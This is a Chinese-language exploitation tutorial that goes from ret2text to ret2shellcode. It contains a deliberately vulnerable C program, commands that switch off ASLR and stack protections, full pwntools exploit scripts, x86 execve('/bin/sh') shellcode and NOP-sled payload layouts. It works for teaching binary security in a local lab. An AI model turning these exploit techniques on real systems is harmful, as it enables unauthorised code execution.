缓冲区溢出攻击实战:从ret2text到ret2shellcode的完整演练

缓冲区溢出攻击实战:从ret2text到ret2shellcode的完整演练
1. 项目概述一次从理论到实践的缓冲区溢出之旅在安全研究领域缓冲区溢出攻击是一个古老但生命力极其顽强的课题。它不仅是许多经典漏洞的根源更是理解现代系统安全攻防对抗的绝佳切入点。今天我想分享的就是一次从最基础的ret2text攻击逐步深入到ret2shellcode攻击的完整实战演练。这个过程不仅仅是执行几个命令、拿到一个shell那么简单它更像是一次对程序内存布局、函数调用机制和处理器指令执行的深度“解剖”。简单来说ret2text和ret2shellcode都是利用缓冲区溢出漏洞劫持程序控制流的技术。ret2text相对“温和”一些它利用的是程序本身代码段text段里已经存在的、对我们有利的代码片段比如一个能调用/bin/sh的system函数。而ret2shellcode则更为“激进”我们需要将一段自己编写的、能达成目标的机器指令shellcode注入到内存中并让程序跳转过去执行。从ret2text到ret2shellcode的进阶实际上是从“借用”到“创造”的跨越对攻击者的要求也更高。这次实战的目标很明确在一个故意留有栈缓冲区溢出漏洞的演示程序上首先通过ret2text技术利用其自带的system(“/bin/sh”)代码获得权限然后挑战更高阶的ret2shellcode通过注入并执行我们自己的指令来达成同样甚至更复杂的目的。无论你是刚刚接触二进制安全的新手还是想重温基础的老手我希望这篇详尽的记录能帮你理清思路避开我踩过的那些坑。2. 环境搭建与目标程序分析工欲善其事必先利其器。一个稳定、可控的实验环境是安全研究的第一步盲目在真实系统上操作是极其危险且不负责任的。2.1 实验环境配置我选择在虚拟机中搭建一个纯净的Linux实验环境。这里我使用了Ubuntu 20.04 LTS并特意选择了一个较旧的gcc版本如gcc 9.4.0进行编译因为现代编译器如gcc高版本默认启用了许多安全机制如栈保护Stack Canary、地址空间布局随机化ASLR和不可执行栈NX这些机制会极大地增加我们演示基础溢出漏洞的难度。我们的第一步就是关闭它们以便专注于漏洞原理本身。首先关闭系统的ASLR。ASLR会随机化堆、栈、共享库等内存区域的起始地址让攻击者难以预测目标地址。在终端中执行以下命令可以临时关闭它echo 0 | sudo tee /proc/sys/kernel/randomize_va_space要永久关闭可以编辑/etc/sysctl.conf文件添加kernel.randomize_va_space 0然后执行sudo sysctl -p生效。其次在编译漏洞程序时需要给gcc传递特定的参数来关闭保护-fno-stack-protector禁用栈溢出保护Stack Canary。-z execstack允许栈内存区域可执行NX保护关闭。这对于ret2shellcode至关重要因为我们的shellcode需要被注入到栈上并执行。-no-pie禁用位置无关可执行文件PIE确保代码段的加载地址是固定的便于我们计算ret2text中目标函数的地址。-m32在64位系统上编译32位程序。32位程序的地址空间和调用约定更简单适合入门。后续我们也会讨论64位的差异。一个典型的编译命令如下gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln注意这些关闭安全机制的设置仅限用于本地学习、研究和测试环境。在生产环境或任何面向外部的系统中必须确保所有安全机制处于开启状态。我们的目的是理解攻击原理从而更好地进行防御。2.2 漏洞程序源码剖析我们的目标程序vuln.c非常简单但“漏洞百出”#include stdio.h #include string.h #include stdlib.h void vulnerable_function() { char buffer[64]; printf(“请输入一些内容: ”); gets(buffer); // 危险的函数它不检查输入长度 printf(“你输入的是: %s\n”, buffer); } void secret_function() { printf(“恭喜你触发了 secret_function\n”); system(“/bin/sh”); // 这是我们 ret2text 的目标 } int main() { vulnerable_function(); return 0; }程序逻辑一目了然main函数调用vulnerable_function该函数声明了一个64字节的字符数组buffer然后使用极其危险的gets()函数向其中读取用户输入。gets()函数会一直读取输入直到遇到换行符或EOF它完全不检查目标缓冲区是否足够大。这就是栈缓冲区溢出漏洞的典型来源。同时程序中还有一个“后门”函数secret_function它内部调用了system(“/bin/sh”)。在真实的漏洞利用中我们几乎不可能有这么好的运气但作为ret2text的入门目标它再合适不过了。我们的任务就是通过溢出buffer覆盖函数返回地址让程序在vulnerable_function返回时不是返回到main函数而是跳转到secret_function去执行。2.3 初步侦察与信息收集在发动攻击前我们需要像侦探一样收集目标程序的信息。使用checksec工具pwntools的一部分可以快速查看程序启用了哪些安全机制checksec vuln如果看到CANARY、PIE、NX都是disabledFORTIFY也是off说明我们的编译选项生效了环境准备就绪。接下来我们需要知道两个关键信息buffer数组的起始地址到保存的返回地址之间的偏移量offset。这决定了我们的填充数据需要多长才能刚好覆盖到返回地址。secret_function函数在内存中的准确地址。这决定了我们用什么样的地址去覆盖原来的返回地址。获取偏移量有多种方法最经典的是使用模式字符串pattern。我们可以用pwntools的cyclic功能生成一段特殊的、不会重复的字符串输入给程序使其崩溃然后根据崩溃时程序试图跳转的地址通常是一个非法地址反推出这个地址在我们生成的字符串中的位置从而得到偏移量。获取函数地址则更简单使用objdump或gdb即可objdump -t vuln | grep secret_function # 或者 gdb vuln (gdb) print secret_function假设我们得到secret_function的地址是0x08048456一个典型的32位非PIE程序的地址。3. ret2text 攻击借力打力的艺术ret2text是缓冲区溢出利用中最基础、最直观的一种形式。它的核心思想是既然程序代码段里已经有能帮我达成目标的代码text那我何必自己费劲写shellcode呢直接跳过去执行就好了。3.1 攻击原理与栈帧布局要理解攻击必须先理解函数调用时栈的变化。当一个函数如vulnerable_function被调用时调用者main会将参数本例无和返回地址依次压栈。跳转到被调用函数。被调用函数执行序言prologue将当前栈基址ebp压栈保存然后将栈顶指针esp的值赋给ebp确立新的栈帧。最后esp向下移动为局部变量如我们的buffer[64]分配空间。在vulnerable_function的栈帧中内存布局大致如下从高地址到低地址高地址 ... [调用者的栈帧] [返回地址] - 函数执行完毕后应该回到的地方 [保存的ebp] - vulnerable_function 的栈基址 [局部变量 buffer[64]] - 起始地址我们输入的数据从这里开始存放 ... 低地址gets(buffer)从buffer的起始地址开始向高地址方向写入数据。如果我们输入的数据超过了64字节多出来的部分就会继续向高地址覆盖首先会覆盖保存的ebp接着就会覆盖到至关重要的返回地址。ret2text的攻击载荷payload结构非常简单[ 填充字符 * offset ] [ secret_function 的地址 ]offset就是buffer起始地址到返回地址之间的字节数。通过之前的模式字符串方法我们假设计算得出offset 76。这意味着我们需要先填充76个字节的任意数据通常用‘A’或‘\x90’等从第77个字节开始写入我们想要跳转的地址0x08048456。这里有一个关键细节在x86架构下数据是以小端序Little-Endian方式存储在内存中的。也就是说一个32位地址0x08048456在内存中的字节顺序是\x56\x84\x04\x08低位字节在前。所以我们的payload应该是payload b‘A’ * 76 b‘\x56\x84\x04\x08’3.2 利用脚本编写与调试手动计算和构造payload容易出错使用Python的pwntools库可以极大地简化这个过程。pwntools是二进制安全领域的“瑞士军刀”提供了丰富的功能。下面是一个完整的ret2text利用脚本示例#!/usr/bin/env python3 from pwn import * # 设置目标程序 context.binary ‘./vuln’ context.log_level ‘debug’ # 显示详细的交互信息便于调试 # 启动进程 p process(‘./vuln’) # 计算偏移量假设我们已经通过cyclic算出是76 offset 76 # 获取 secret_function 的地址 # 方法1: 使用 ELF 对象 elf ELF(‘./vuln’) secret_addr elf.symbols[‘secret_function’] # 自动处理小端序 # 方法2: 硬编码不推荐但演示用 # secret_addr 0x08048456 # 构造payload payload flat([ b‘A’ * offset, secret_addr ]) # 发送payload p.sendline(payload) # 切换到交互模式这样我们就可以操作得到的shell了 p.interactive()运行这个脚本如果一切顺利你会看到程序打印出“恭喜你触发了 secret_function”然后你就进入了一个shell。执行whoami或id命令可以看到你当前的用户权限。实操心得在编写利用脚本时务必开启context.log_level ‘debug’。它会显示所有发送和接收的数据帮助你清晰地看到程序崩溃点、输出的错误信息等是调试利用脚本不可或缺的工具。如果攻击失败常见的错误信息如“Segmentation fault (core dumped)”表示内存访问违规而“Illegal instruction”可能意味着跳转的地址不对或者栈没有对齐在64位程序中更常见。3.3 可能遇到的问题与解决思路第一次尝试往往不会一帆风顺。以下是几个常见问题及排查方向偏移量计算不准这是最常见的问题。cyclic工具给出的偏移量是覆盖到返回地址内容的起始位置。确保你使用的是cyclic -l 崩溃地址命令并且输入的地址是完整的、从崩溃信息中准确复制过来的。有时gdb显示的信息包含前缀需要仔细辨别。地址错误确认secret_function的地址是否正确。使用objdump -d vuln | grep -A 10 “secret_function:“可以查看该函数的反汇编代码确保你获取的是函数入口点地址。在gdb中print secret_function和info address secret_function都可以用来验证。栈对齐问题64位在64位Linux系统上System V AMD64 ABI调用约定要求栈指针rsp在调用函数时必须16字节对齐。某些函数如system对此有严格要求。如果直接跳转到system可能会因为栈指针未对齐而崩溃。解决方法是在跳转前先执行一个ret指令其机器码为\xc3来调整栈。这需要我们在程序中找到一个ret指令的地址ROP gadget构造payload时先跳转到这个ret再跳转到system。这其实就是ROP面向返回编程的雏形。我们的示例是32位程序暂时不会遇到此问题。管道破裂Broken pipe或EOF如果payload发送后程序立即退出没有给出shell可能是payload构造有误导致程序异常退出或者shell存活时间极短。可以在payload后添加cat命令来维持输入流p.sendline(payload b‘; cat‘)或者在脚本中使用p.clean()和p.interactive()的组合。4. ret2shellcode 攻击创造与注入的进阶成功实现ret2text后我们面临一个更现实的挑战目标程序里并没有现成的system(“/bin/sh”)给我们用。这时就需要ret2shellcode技术登场了。它的核心是将一段能达成目标的机器指令shellcode作为输入数据的一部分注入到进程的内存空间通常是栈上然后通过溢出覆盖返回地址让程序跳转到这段注入的指令上执行。4.1 Shellcode 的原理与编写Shellcode本质是一小段精心编写的机器码通常用汇编语言编写然后提取出操作码opcode。它的终极目标往往是执行execve(“/bin/sh”, NULL, NULL)系统调用从而启动一个shell。为什么是系统调用因为我们要实现的功能如启动shell、读写文件最终都需要操作系统内核的服务。系统调用是用户态程序请求内核服务的唯一方式。在x86Linux 32位下execve的系统调用号是11十六进制0xb。编写shellcode有几个关键约束和技巧避免空字节\x00因为像strcpy,gets这样的函数会把空字节当作字符串的终止符。如果shellcode中包含\x00复制操作会在中途停止导致shellcode不完整。解决方法是使用等效但不会产生空字节的指令。自定位shellcode被注入到栈上但它在运行时需要知道自己的地址例如要找到其中嵌入的字符串“/bin/sh”的地址。常用的技巧是利用call或fstenv等指令动态获取当前指令地址。精简小巧缓冲区空间有限shellcode必须尽可能短。下面是一段经典的、用于Linux x86 32位的execve(“/bin/sh”)的汇编shellcode注释解释了每步操作section .text global _start _start: ; 1. 将 execve 的系统调用号 11 存入 eax xor eax, eax ; 清空 eax同时避免直接 mov eax, 11 产生空字节 mov al, 11 ; al 是 eax 的低8位 mov al, 11 的机器码是 B0 0B ; 2. 将命令字符串 “/bin/sh” 的地址存入 ebx ; 我们采用栈上构造字符串的方法 xor ebx, ebx ; 清空 ebx push ebx ; 将字符串结束符 NULL (0x00000000) 压栈 push 0x68732f2f ; 将 “//sh” 的 ASCII 码压栈 (小端序: 2f 2f 73 68) push 0x6e69622f ; 将 “/bin” 的 ASCII 码压栈 (小端序: 2f 62 69 6e) mov ebx, esp ; 此时 esp 指向栈顶即字符串 “/bin//sh” 的起始地址将其赋给 ebx ; 3. 设置参数数组 ecx 和环境变量数组 edx 为 NULL xor ecx, ecx xor edx, edx ; 4. 触发中断执行系统调用 int 0x80将这段汇编代码编译、链接后用objdump提取出机器码就可以得到我们的shellcode。幸运的是pwntools提供了现成的shellcode生成功能无需我们手动编写汇编from pwn import * context.arch ‘i386‘ # 设置架构为 x86-32 shellcode asm(shellcraft.sh()) # 生成 execve(‘/bin/sh‘) 的 shellcode print(hexdump(shellcode)) # 可以打印出来看看shellcraft.sh()会自动生成一段适应目标架构的、无空字节的、功能完整的shellcode。4.2 栈空间布局与跳转地址计算ret2shellcode成功的关键在于两点一是让shellcode被完整地放入内存可执行区域二是让覆盖后的返回地址准确地指向shellcode的起始位置。在我们的实验环境中由于编译时使用了-z execstack参数栈是可执行的。因此我们可以将shellcode直接放在填充数据中一起注入到栈上的buffer里。那么shellcode应该放在payload的什么位置跳转地址又该如何确定 常见的策略有两种放在填充数据之前跳转到buffer起始地址payload shellcode padding return_addr。其中return_addr需要是buffer的起始地址。这种方法的缺点是如果buffer在栈上的位置地址每次运行都变化即使关闭了ASLR在某些情况下栈地址仍有微小偏移攻击可能不稳定。放在填充数据之后跳转到shellcode的地址payload padding return_addr shellcode。这里的return_addr需要指向shellcode。但shellcode位于返回地址之后我们需要知道返回地址之后的内存地址是什么。这通常更难预测。更可靠的方法是第一种并配合NOP雪橇技术。NOP (\x90) 是一条空指令处理器执行它时什么都不做只是继续执行下一条指令。我们在shellcode前面放置一大片 NOP 指令构成一个“雪橇”。只要返回地址跳转到这片 NOP 区域的任何位置处理器就会一路“滑行”直到执行到我们的shellcode。这大大降低了对跳转地址精度的要求。因此优化后的payload结构为[ NOP雪橇 ] [ shellcode ] [ 填充至覆盖返回地址 ] [ 跳转地址 ]跳转地址可以设置为buffer的起始地址或者起始地址加上一个小的偏移。我们需要在调试器中找到buffer的运行时地址。4.3 动态获取地址与利用脚本实现在gdb中运行程序在gets调用前设置断点查看buffer的地址gdb ./vuln (gdb) break *vulnerable_function25 # 假设在 gets 调用前具体偏移看反汇编 (gdb) run (gdb) print /x $esp # 或者 info frame 查看局部变量位置假设我们得到buffer的地址是0xffffd4c0。由于栈地址在非ASLR且同一环境下相对稳定我们可以将这个地址作为跳转目标。但是gdb环境下的栈地址和直接运行程序时的栈地址可能会有细微差别因为环境变量、命令行参数等不同。为了提高成功率我们可以尝试一个略高于buffer起始地址的值或者使用pwntools的cyclic模糊搜索功能。更高级的做法是使用ROP技术泄露地址但这超出了本次基础实战的范围。下面是ret2shellcode的利用脚本示例#!/usr/bin/env python3 from pwn import * context.binary ‘./vuln‘ context.arch ‘i386‘ context.log_level ‘debug‘ p process(‘./vuln‘) offset 76 # 假设偏移量仍是76 # 生成 shellcode shellcode asm(shellcraft.sh()) print(f“Shellcode 长度: {len(shellcode)} 字节”) # 构造 NOP 雪橇 nop_sled b‘\x90‘ * 100 # 100字节的NOP # 计算跳转地址。这里我们采用一个估计值实际需要动态调试确定。 # 假设 buffer 地址大约在 0xffffd4c0我们加上一个偏移指向NOP雪橇中部。 # 注意这是一个示例地址你必须替换为你的环境中 buffer 的实际地址 buffer_addr 0xffffd4c0 jump_addr buffer_addr 50 # 跳转到NOP雪橇的中部 # 构造 payload # 结构[NOP雪橇][Shellcode][填充至offset][跳转地址] payload flat([ nop_sled, shellcode, b‘A‘ * (offset - len(nop_sled) - len(shellcode)), # 确保总填充长度达到 offset p32(jump_addr) # p32() 将整数打包为32位小端序字节串 ]) p.sendline(payload) p.interactive()4.4 调试技巧与稳定性提升ret2shellcode比ret2text更“娇气”因为它依赖于精确的地址和可执行的内存区域。以下是一些调试和提升成功率的技巧核心转储分析如果程序崩溃系统可能会生成一个core文件。使用gdb vuln core加载核心转储文件然后使用x/20x $esp或info registers查看崩溃时的寄存器状态和栈内存检查eip寄存器指令指针的值是否指向了我们预期的地址附近。地址随机化问题即使关闭了系统级ASLR某些情况下栈地址在gdb内外仍不一致。可以尝试在gdb外运行程序时通过/proc/[pid]/maps查看栈的映射地址或者使用pwntools的gdb.attach(p)功能在脚本中自动附加gdb进行调试。Shellcode 自身问题确保生成的shellcode与目标环境架构匹配32位 vs 64位。使用pwntools的shellcraft可以指定架构。另外可以先用一个简单的shellcode比如只执行exit(0)的测试跳转是否成功再换复杂的。栈空间不足如果shellcode加上NOP雪橇的长度超过了buffer的大小可能会破坏栈上的其他重要数据导致在跳转到shellcode前程序就崩溃了。尽量优化shellcode长度或寻找更大的缓冲区。注意事项现代操作系统默认开启了NX不可执行栈保护栈内存只有读写权限没有执行权限。这就是为什么我们的实验必须用-z execstack编译。在实际的现代漏洞利用中ret2shellcode直接注入栈并执行的方式已经很难成功攻击者需要转向Return-Oriented Programming (ROP)等更复杂的技术通过组合程序中已有的代码片段gadgets来绕过NX实现图灵完备的攻击。本次实战的ret2shellcode是理解这些高级技术的重要基础。5. 从32位到64位的差异与挑战我们的实验基于32位程序。如今64位系统已成为主流。将上述技术迁移到64位环境会面临一些新的挑战和变化寄存器与参数传递x86-64架构有了新的寄存器命名rax,rbx,rsp,rip等并且函数调用约定发生了根本变化。前六个整型或指针参数依次通过寄存器rdi,rsi,rdx,rcx,r8,r9传递多余的参数才通过栈传递。这意味着在构造ROP链或shellcode时我们需要找到操作这些寄存器的gadgets。地址空间64位地址是8字节而不再是4字节。这直接影响了payload的构造填充偏移量可能会变化覆盖返回地址需要8个字节。地址规范64位地址中高16位通常为0规范地址。如果地址不符合规范可能会导致处理器异常。这限制了某些攻击载荷的构造。栈对齐如前所述System V AMD64 ABI要求rsp在call指令执行时必须是16字节对齐的。这常常需要在ROP链中插入额外的retgadget 来调整栈指针。一个64位下的ret2text攻击如果目标函数是system(“/bin/sh”)并且system的地址已知那么payload结构可能是[填充至返回地址] [pop rdi; ret gadget的地址] [指向“/bin/sh”字符串的地址] [system函数的地址]这里我们需要先用一个gadget将参数“/bin/sh”的地址弹出到rdi寄存器然后再跳转到system。这已经是一个最简单的ROP链了。6. 漏洞缓解技术与对抗演进我们通过关闭各种保护机制才成功完成了攻击。理解防御技术才能更好地理解攻击的局限性和演进方向。主要的缓解技术有栈溢出保护Stack Canary编译器在栈上返回地址之前插入一个随机值金丝雀。函数返回前会检查这个值是否被改变若改变则立即终止程序。对抗需要泄露或绕过canary值。不可执行NX/DEP数据区域如栈、堆被标记为不可执行试图在其中执行代码会触发异常。对抗采用代码复用攻击如ROP、Jump-Oriented Programming (JOP)等。地址空间布局随机化ASLR随机化内存区域的基址使攻击者难以预测目标地址。对抗通过信息泄露漏洞获取地址或利用未随机化的部分如某些库的固定偏移进行部分覆盖。位置无关可执行文件PIE将主程序也进行随机化使得ret2text攻击中寻找固定地址的难度大大增加。对抗需要结合信息泄露。现代漏洞利用往往是多种技术的结合体。例如先利用一个信息泄露漏洞获取libc的基址和栈canary然后构造一个复杂的ROP链在开启了NX和ASLR的系统上实现权限提升。我们的ret2text和ret2shellcode是构建这些复杂攻击的基石。7. 总结与延伸思考从ret2text到ret2shellcode的实战是一次对程序运行时内存控制的深刻体验。我们看到了如何通过精心构造的输入数据像提线木偶一样操纵程序的执行流程。这个过程清晰地揭示了缓冲区溢出漏洞的可怕之处它打破了最基本的内存安全假设。对于开发者而言唯一的根治方法是使用安全的编程实践永远不用gets、strcpy等危险函数改用fgets、strncpy等带长度检查的函数或者使用更安全的语言和库。对于安全研究人员理解这些攻击原理是进行漏洞分析、编写检测规则和开发缓解措施的基础。我个人在反复调试这些利用代码时最深的一点体会是稳定性是漏洞利用中最难的一环。实验室环境下关闭所有保护的成功距离在真实、复杂、多变的环境中稳定利用一个漏洞还有很长的路要走。一个微小的环境差异、一个字节的对齐问题、一条未预料到的指令都可能导致攻击失败。这要求研究者必须具备扎实的汇编语言功底、对操作系统和编译器行为的深刻理解以及像侦探一样细致的调试能力。如果你想继续深入下一步可以尝试在开启NX的情况下利用ROP技术调用system函数或者尝试攻击一个64位的程序再或者分析一个真实的、带有漏洞的软件如某些古老的网络服务并尝试编写一个能稳定工作的exploit。这条路充满挑战但也正是其魅力所在。